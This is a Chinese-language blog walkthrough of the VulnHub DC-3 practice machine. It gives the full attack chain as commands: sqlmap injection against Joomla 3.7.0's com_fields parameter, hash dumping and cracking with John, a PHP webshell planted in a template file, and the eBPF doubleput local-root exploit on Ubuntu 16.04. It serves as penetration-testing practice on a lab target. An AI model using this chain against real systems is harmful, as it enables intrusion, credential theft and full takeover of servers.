枫叶
枫叶
发布于 2026-07-24 / 6 阅读
0
0

【VulnHub】渗透学习——DC-3靶机导入和详细渗透教程

导入

依旧下载好文件后导入Vmware即可

官方下载地址:DC: 3.2 ~ VulnHub

夸克网盘分享:链接:https://pan.quark.cn/s/e6b5b7c6524a 提取码:1jJS

信息收集

使用nmap扫描靶机ip地址,获得地址为192.168.31.235

nmap -sn 192.168.31.0/24 | grep "DC"

继续扫描开放的端口

nmap -sV -p- 192.168.31.235

发现只开放了80端口。

也可以用masscan工具再扫描一遍

masscan -p- --rate=1000 192.168.31.235

扫描出来也是只有80端口开放。

使用dirsearch工具扫描站点目录

dirsearch -u 'http://192.168.31.235/'

发现登录后台地址

可以看到是Joomla站点,没显示版本号,并且通过whatweb看不到版本号。

msfconsole中有个模块可以看到版本号,先启动msf,然后搜索Joomla

msfconsole
search Joomla

回车后发现有挺多模块,我们使用这个

use 14

接着查看需要的参数

需要配置RHOST(目标地址)

set RHOSTS 192.168.31.235

完成后直接run,不一会儿就显示出了版本号

Joomla 3.7.0

开始渗透

知道了版本号,咱们找找有没有什么漏洞。msf里面没有找到可用的,咱们在searchsploit中寻找。

searchsploit:Exploit-DB 官方命令行工具(Kali 预装),用于本地离线搜索漏洞利用脚本(exp、POC)。

输入下面命令,这个命令是查找关于Joomla 3.7.0的漏洞。

searchsploit Joomla 3.7.0

发现有2个可以使用,我们用第一个,使用时只需要知道后面的文件名就行。

把42033.txt文件保存到当前目录

searchsploit -m 42033.txt

咱们查看这个文件内容。

发现可以使用sqlmap,那咱们就用sqlmap去跑这个命令。记得把命令中的网址换成自己的

sqlmap -u "http://192.168.31.235/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

中间会提示一些是否干嘛干嘛的,直接输入Y就行。

过会儿就会出现数据库了。

一共爆出了5个数据库,我们使用第二个。

接着爆表

sqlmap -u "http://192.168.31.235/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

有挺多的表,咱们看看这个里面有什么。(记得别把“#__users"名字弄错了,前面有符号!)

sqlmap -u "http://192.168.31.235/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

咱们主要关注id,username,password就可以。

sqlmap -u "http://192.168.31.235/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C id,username,password --dump -p list[fullordering]

发现密码被哈希加密了,咱们得解出来。

使用John工具解密。

John:经典离线哈希破解工具,Kali 默认预装,主打系统密码哈希爆破(Linux shadow、Windows NTLM、md5、sha 等)

把获得的加密值放到一个文档中,我放到了test.txt,然后使用john解密。

john test.txt

解出为snoopy。

尝试登录一下,账号应该是admin吧

登录成功!

看看这个里面有什么

This time, there is only one flag, one entry point and no clues.
To get the flag, you'll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge.  :-)

这一次,只有一面旗帜,一个入口,没有任何线索。
要获得该标志,您显然必须获得 root 权限。
如何获得 root 权限取决于您 - 显然,也取决于系统。
祝你好运 - 我希望你喜欢这个小挑战。  :-)

说明只用一个flag,且在获取root权限后才能看到。

提权

咱们在前端找找有啥地方可利用

最后在Extensions下面的Templates发现两个模板,并且可以编辑模板中的php文件,所以试试webshell能不能用。

如何知道模板的目录?突然想起来前面扫描站点目录的时候好像扫到了templates目录

经过一番测试和上网搜索,显示出了目录。

http://192.168.31.235/templates/beez3/html/

所以只要编辑这个目录下的文件,或者把文件保存到这个目录下面就行。

我就直接修改modules.php了,在里面添加上一句话木马。

接着打开蚁剑,空白处右键点击添加数据,点击上面的测试链接,若提示成功,就可以添加了。

然后右键点击刚刚创建的地址,点击虚拟终端,就可以进入shell。

先看看能不能suid提权

看了一下并不行,sudo -l也不行。

看了一下网上大佬的文章,说是要用系统的漏洞。

先看看系统版本

cat /etc/os-release

根据这个版本用searchsploit找找漏洞

searchsploit ubuntu 16.04

我这里使用39772.txt

txt下面也写了使用方式

把这个下载下来利用蚁剑传到靶机上试试

在39772.zip文件所在的文件夹中,依次执行下面的命令,我就不放图片了。

unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

当出现we have root privs now...的时候,输入id并回车看看成功了没

现在是root用户了,进入/root目录下面,有the-flag.txt文件,cat查看,成功!


评论